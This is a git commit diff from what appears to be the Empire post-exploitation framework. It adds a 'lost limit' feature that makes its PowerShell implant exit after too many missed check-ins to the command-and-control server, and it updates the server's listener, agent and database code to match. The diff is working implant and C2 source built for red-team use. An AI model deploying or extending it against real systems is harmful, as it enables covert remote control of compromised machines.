Merge branch 'LostAgentDetection'

1.6
sixdub 2015-08-11 13:49:56 -04:00
commit 671635a5da
11 changed files with 210 additions and 56 deletions

View File

@ -3,6 +3,7 @@
-Fixed tab completion of usestager module
-Added dependencies for Ubuntu 14.04
-Fixed IP Whitelisting set from file
-Added "Lost Agent Detection". Allows the ability for an agent to die after a certain number of missed checkins. This is implemented via the "lostlimit" command. Default set to 60 missed checkins.
8/9/2015
----------

View File

@ -32,6 +32,12 @@ function Invoke-Empire {
.PARAMETER Epoch
server epoch time, defaults to client time
.PARAMETER LostLimit
The limit of the number of checkins the agent will miss before exiting
.PARAMETER DefaultPage
The default page string Base64 encoded
#>
param(
@ -65,7 +71,13 @@ function Invoke-Empire {
$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
[Int32]
$Epoch = [math]::abs([Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s")))
$Epoch = [math]::abs([Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s"))),
[Int32]
$LostLimit = 60,
[String]
$DefaultPage = ""
)
############################################################
@ -74,6 +86,9 @@ function Invoke-Empire {
$script:AgentDelay = $AgentDelay
$script:AgentJitter = $AgentJitter
$script:LostLimit = $LostLimit
$script:MissedCheckins = 0
$script:DefaultPage = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultPage))
$encoding = [System.Text.Encoding]::ASCII
@ -151,6 +166,22 @@ function Invoke-Empire {
"agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter"
}
function Set-LostLimit {
param([int]$l)
$script:LostLimit = $l
if($l -eq 0)
{
"agent set to never die based on checkin Limit"
}
else
{
"agent LostLimit set to $script:LostLimit"
}
}
function Get-LostLimit {
"agent LostLimit: $script:LostLimit"
}
# set the killdate for the agent
function Set-Killdate {
param([string]$date)
@ -882,7 +913,8 @@ function Invoke-Empire {
}
}
catch [Net.WebException] {
# handle 403? for key-negotiation?
$script:MissedCheckins+=1
# handle host not found/reachable?
# if($_.Exception -match "(403)"){
# Write-Host "403!!"
@ -929,6 +961,34 @@ function Invoke-Empire {
exit
}
if((!($script:LostLimit -eq 0)) -and ($script:MissedCheckins -gt $script:LostLimit))
{
# get any job results and kill the jobs
$packets = $null
Get-Job -name ($JobNameBase + "*") | %{
# $data = Receive-Job $_ | Select-Object -Property * -ExcludeProperty RunspaceID | fl | Out-String
# $data = Receive-Job $_ | fl | Out-String
$data = Receive-Job $_
if ($data -is [system.array]){
$data = $data -join ""
}
$data = $data | fl | Out-String
if($data){
$packets += $(Encode-Packet -type 110 -data $($data))
}
Stop-Job $_
Remove-Job $_
}
# send an exit status message and die
$msg = "[!] Agent "+$script:SessionID+" exiting: Lost limit reached"
Send-Message $(Encode-Packet -type 2 -data $msg)
exit
}
if($Servers[$ServerIndex].StartsWith("http")){
@ -989,21 +1049,32 @@ function Invoke-Empire {
# get the next task from the server
$data = Get-Task
# make sure there's a result and it doesn't begin with "<html>" (i.e. the default page)
if ($data -and (-not ([System.Text.Encoding]::UTF8.GetString($data[0..5]) -eq "<html>"))){
# check if an error was received
if ($data.GetType().Name -eq "ErrorRecord"){
$statusCode = [int]$_.Exception.Response.StatusCode
# TODO: handle error codes appropriately?
if ($statusCode -eq 0){
# host unreachable... backup server?
}
#Check to see if we got data
if ($data) {
#did we get a default page
if ([System.Text.Encoding]::UTF8.GetString($data) -eq $script:DefaultPage) {
$script:MissedCheckins=0
}
#we did not get a default, check for erros and process the tasking
elseif (-not ([System.Text.Encoding]::UTF8.GetString($data) -eq $script:DefaultPage)) {
# check if an error was received
if ($data.GetType().Name -eq "ErrorRecord"){
$statusCode = [int]$_.Exception.Response.StatusCode
if ($statusCode -eq 0){
}
}
else {
# if we get data with no error, process the packet
$script:MissedCheckins=0
Process-Tasking $data
}
}
else {
#No data... wierd?
}
# if we get data, process the packet
Process-Tasking $data
}
else{
# TODO: do we need to process the error?
}
# force garbage collection to clean up :)
[GC]::Collect()

View File

@ -98,7 +98,7 @@ class Agents:
cur.close()
def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours):
def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours,lostLimit):
"""
Add an agent to the internal cache and database.
"""
@ -128,7 +128,7 @@ class Agents:
userAgent = parts[1]
additionalHeaders = parts[2]
cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours))
cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours,lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours,lostLimit))
cur.close()
# initialize the tasking/result buffers along with the client session key
@ -1052,7 +1052,7 @@ class Agents:
dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents")
# get the staging information for the given listener, keyed by port
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,lost_limit
config = self.listeners.get_staging_information(port=port)
host = config[0]
stagingkey = config[3]
@ -1124,7 +1124,7 @@ class Agents:
counter = responsePackets[-1][1]
# validate the counter in the packet in the set
# validate the counter in the packet in the setcode.replace
if counter and packets.validate_counter(counter):
for responsePacket in responsePackets:
@ -1155,7 +1155,7 @@ class Agents:
dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents")
# get the staging key for the given listener, keyed by port
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit
stagingKey = self.listeners.get_staging_information(port=port)[3]
# decrypt the agent's public key
@ -1180,16 +1180,17 @@ class Agents:
epoch = packets.get_counter()
# get the staging key for the given listener, keyed by port
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit
config = self.listeners.get_staging_information(port=port)
delay = config[4]
jitter = config[5]
profile = config[6]
killDate = config[7]
workingHours = config[8]
lostLimit = config[11]
# add the agent to the database now that it's "checked in"
self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours)
self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours,lostLimit)
# step 4 of negotiation -> return epoch+aes_session_key
clientSessionKey = self.get_agent_session_key(sessionID)
@ -1218,7 +1219,7 @@ class Agents:
decoded = helpers.decode_base64(parts[1])
# get the staging key for the given listener, keyed by port
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit
config = self.listeners.get_staging_information(host=decoded)
else:
@ -1229,6 +1230,7 @@ class Agents:
profile = config[6]
killDate = config[7]
workingHours = config[8]
lostLimit = config[11]
# get the session key for the agent
sessionKey = self.agents[sessionID][0]
@ -1272,7 +1274,7 @@ class Agents:
dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents")
# step 6 of negotiation -> server sends patched agent.ps1
agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate, workingHours)
agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate,workingHours,lostLimit)
username = str(domainname)+"\\"+str(username)
@ -1289,7 +1291,8 @@ class Agents:
# set basic initial information to display for the agent
agent = self.mainMenu.agents.get_agent(sessionID)
keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"]
keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit"]
agentInfo = dict(zip(keys, agent))
for key in agentInfo:

View File

@ -776,6 +776,45 @@ class AgentsMenu(cmd.Cmd):
else:
print helpers.color("[!] Invalid agent name")
def do_lostlimit(self, line):
"Task one or more agents to 'lostlimit [agent/all] <#ofCBs> '"
parts = line.strip().split(" ")
if len(parts) == 1:
print helpers.color("[!] Please enter a valid '#ofCBs'")
elif parts[0].lower() == "all":
lostLimit = parts[1]
agents = self.mainMenu.agents.get_agents()
for agent in agents:
sessionID = agent[1]
# update this agent info in the database
self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, sessionID)
# task the agent
self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit))
# update the agent log
msg = "Tasked agent to change lost limit " + str(lostLimit)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
# extract the sessionID and clear the agent tasking
sessionID = self.mainMenu.agents.get_agent_id(parts[0])
lostLimit = parts[1]
if sessionID and len(sessionID) != 0:
# update this agent's information in the database
self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, sessionID)
self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit))
# update the agent log
msg = "Tasked agent to change lost limit " + str(lostLimit)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
print helpers.color("[!] Invalid agent name")
def do_killdate(self, line):
"Set the killdate for one or more agents (killdate [agent/all] 01/01/2016)."
@ -981,6 +1020,10 @@ class AgentsMenu(cmd.Cmd):
return self.complete_clear(text, line, begidx, endidx)
def complete_lostlimit(self, text, line, begidx, endidx):
"Tab-complete a lostlimit command"
return self.complete_clear(text, line, begidx, endidx)
def complete_killdate(self, text, line, begidx, endidx):
"Tab-complete a killdate command"
@ -1185,6 +1228,20 @@ class AgentMenu(cmd.Cmd):
msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_lostlimit(self, line):
"Task an agent to change the limit on lost agent detection"
parts = line.strip().split(" ")
if len(parts) > 0 and parts[0] != "":
lostLimit = parts[0]
# update this agent's information in the database
self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, self.sessionID)
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit))
# update the agent log
msg = "Tasked agent to change lost limit " + str(lostLimit)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_kill(self, line):
"Task an agent to kill a particular process name or ID."
@ -1932,7 +1989,7 @@ class ListenerMenu(cmd.Cmd):
elif line.split(" ")[1].lower() == "type":
# if we're tab-completing the listener type
listenerTypes = ["native", "pivot", "hop", "foreign"]
listenerTypes = ["native", "pivot", "hop", "foreign", "meter"]
endLine = " ".join(line.split(" ")[1:])
mline = endLine.partition(' ')[2]
offs = len(mline) - len(text)

View File

@ -19,6 +19,7 @@ import encryption
import helpers
#TODO: place this in a config
def default_page():
"""
Returns the default page for this server.

View File

@ -42,7 +42,7 @@ class Listeners:
# set the initial listener config to be the config defaults
self.conn.row_factory = dict_factory
cur = self.conn.cursor()
cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port FROM config")
cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port,default_lost_limit FROM config")
defaults = cur.fetchone()
cur.close()
self.conn.row_factory = None
@ -84,6 +84,11 @@ class Listeners:
'Required' : True,
'Value' : defaults['default_jitter']
},
'DefaultLostLimit' : {
'Description' : 'Number of missed checkins before exiting',
'Required' : True,
'Value' : defaults['default_lost_limit']
},
'DefaultProfile' : {
'Description' : 'Default communication profile for the agent.',
'Required' : True,
@ -118,7 +123,7 @@ class Listeners:
"""
cur = self.conn.cursor()
cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners")
cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners")
results = cur.fetchall()
cur.close()
@ -126,7 +131,7 @@ class Listeners:
for result in results:
# don't start the listener unless it's a native one
if result[-2] != "native":
if result[11] != "native":
self.listeners[result[0]] = None
else:
@ -271,7 +276,7 @@ class Listeners:
try:
# get the listener information
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.get_listener(listenerId)
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = self.get_listener(listenerId)
listenerId = int(ID)
@ -305,7 +310,7 @@ class Listeners:
if nameid : listenerId = nameid
cur = self.conn.cursor()
cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE id=?", [listenerId])
cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE id=?", [listenerId])
listener = cur.fetchone()
cur.close()
@ -399,20 +404,20 @@ class Listeners:
if(listenerId):
cur = self.conn.cursor()
cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID])
cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID])
stagingInformation = cur.fetchone()
cur.close()
elif(port):
cur = self.conn.cursor()
cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE port=?", [port])
cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE port=?", [port])
stagingInformation = cur.fetchone()
cur.close()
# used to get staging info for hop.php relays
elif(host):
cur = self.conn.cursor()
cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE host=?", [host])
cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE host=?", [host])
stagingInformation = cur.fetchone()
cur.close()
@ -511,6 +516,7 @@ class Listeners:
workingHours = self.options['WorkingHours']['Value']
listenerType = self.options['Type']['Value']
redirectTarget = self.options['RedirectTarget']['Value']
defaultLostLimit = self.options['DefaultLostLimit']['Value']
# validate all of the options
if self.validate_listener_options():
@ -537,7 +543,7 @@ class Listeners:
return False
cur = self.conn.cursor()
results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget] )
results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultLostLimit] )
# get the ID for the listener
cur.execute("SELECT id FROM listeners where name=?", [name])
@ -558,7 +564,7 @@ class Listeners:
# add the listener to the database if start up
cur = self.conn.cursor()
results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget] )
results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultLostLimit] )
# get the ID for the listener
cur.execute("SELECT id FROM listeners where name=?", [name])
@ -593,7 +599,7 @@ class Listeners:
else:
# get the existing listener options
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.get_listener(listenerName)
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,defaultLostLimit] = self.get_listener(listenerName)
cur = self.conn.cursor()
@ -604,7 +610,7 @@ class Listeners:
pivotHost += internalIP + ":" + str(listenPort)
# insert the pivot listener with name=sessionID for the pivot agent
cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name] )
cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name,defaultLostLimit] )
# get the ID for the listener
cur.execute("SELECT id FROM listeners where name=?", [sessionID])

View File

@ -126,7 +126,7 @@ def display_agents(agents):
print " --------- ----------- ------------ --------- ------- ----- --------------------"
for agent in agents:
[ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version] = agent
[ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit] = agent
if str(high_integrity) == "1":
# add a * to the username if it's high integrity
username = "*" + username
@ -146,7 +146,7 @@ def display_agent(agent):
"""
# extract out database fields.
keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"]
keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit"]
print helpers.color("\n[*] Agent info:\n")
@ -173,7 +173,7 @@ def display_listeners(listeners):
for listener in listeners:
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = listener
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = listener
if not host.startswith("http"):
if cert_path and cert_path != "":
@ -196,15 +196,15 @@ def display_listener(options):
"""
print "\nListener Options:\n"
print " Name Required Value Description"
print " ---- -------- ------- -----------"
print " Name Required Value Description"
print " ---- -------- ------- -----------"
for option,values in options.iteritems():
# if there's a long value length, wrap it
if len(str(values['Value'])) > 33:
print " %s%s%s" % ('{0: <15}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(wrap_string(values['Value'], width=32, indent=29, followingHeader=values['Description'])))
print " %s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(wrap_string(values['Value'], width=32, indent=32, followingHeader=values['Description'])))
else:
print " %s%s%s%s" % ('{0: <15}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(values['Value']), values['Description'])
print " %s%s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(values['Value']), values['Description'])
print "\n"
@ -216,7 +216,7 @@ def display_listener_database(listener):
Transforms the tuple set to an options dictionary and calls display_listener().
"""
[ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget] = listener
[ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget, defaultLostLimit] = listener
options = {
'ID' : {
@ -259,6 +259,11 @@ def display_listener_database(listener):
'Required' : True,
'Value' : ''
},
'DefaultLostLimit' : {
'Description' : 'Number of missed checkins before exiting',
'Required' : True,
'Value' : ''
},
'DefaultProfile' : {
'Description' : 'Default communication profile for the agent.',
'Required' : True,
@ -299,6 +304,7 @@ def display_listener_database(listener):
options['WorkingHours']['Value'] = workingHours
options['Type']['Value'] = listenerType
options['RedirectTarget']['Value'] = redirectTarget
options['DefaultLostLimit']['Value'] = defaultLostLimit
display_listener(options)

View File

@ -10,6 +10,7 @@ import http
import helpers
import encryption
import os
import base64
class Stagers:
@ -163,24 +164,26 @@ class Stagers:
return randomizedStager
def generate_agent(self, delay, jitter, profile, killDate, workingHours):
def generate_agent(self, delay, jitter, profile, killDate, workingHours, lostLimit):
"""
Generate "standard API" functionality, i.e. the actual agent.ps1 that runs.
This should always be sent over encrypted comms.
"""
f = open(self.installPath + "./data/agent/agent.ps1")
code = f.read()
f.close()
# strip out comments and blank lines
code = helpers.strip_powershell_comments(code)
b64DefaultPage = base64.b64encode(http.default_page())
# patch in the delay, jitter, and comms profile
# patch in the delay, jitter, lost limit, and comms profile
code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
code = code.replace('$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
code = code.replace('$DefaultPage = ""', '$DefaultPage = "'+b64DefaultPage+'"')
# patch in the killDate and workingHours if they're specified
if killDate != "":

View File

@ -113,7 +113,7 @@ class Module:
print helpers.color("[!] Meterpreter/Beacon listener required!")
return ""
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.mainMenu.listeners.get_listener(listenerName)
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = self.mainMenu.listeners.get_listener(listenerName)
MSFpayload = "reverse_http"
if "https" in host:

View File

@ -164,7 +164,7 @@ Invoke-Redirector"""
else:
listenerName = values['Value']
# get the listener options and set them for the script
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.mainMenu.listeners.get_listener(values['Value'])
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = self.mainMenu.listeners.get_listener(values['Value'])
script += " -ConnectHost " + str(host)
elif option.lower() != "agent":

View File

@ -61,6 +61,9 @@ IP_WHITELIST = ""
# format is 192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8
IP_BLACKLIST = ""
#number of times an agent will call back without an answer prior to exiting
DEFAULT_LOST_LIMIT = 60
###################################################
@ -90,11 +93,12 @@ c.execute('''CREATE TABLE config (
"install_path" text,
"server_version" text,
"ip_whitelist" text,
"ip_blacklist" text
"ip_blacklist" text,
"default_lost_limit" integer
)''')
# kick off the config component of the database
c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST))
c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST, DEFAULT_LOST_LIMIT))
c.execute('''CREATE TABLE "agents" (
"id" integer PRIMARY KEY,
@ -124,7 +128,8 @@ c.execute('''CREATE TABLE "agents" (
"functions" text,
"kill_date" text,
"working_hours" text,
"ps_version" text
"ps_version" text,
"lost_limit" integer
)''')
c.execute('''CREATE TABLE "listeners" (
@ -140,7 +145,8 @@ c.execute('''CREATE TABLE "listeners" (
"kill_date" text,
"working_hours" text,
"listener_type" text,
"redirect_target" text
"redirect_target" text,
"default_lost_limit" integer
)''')
# type = hash, plaintext, token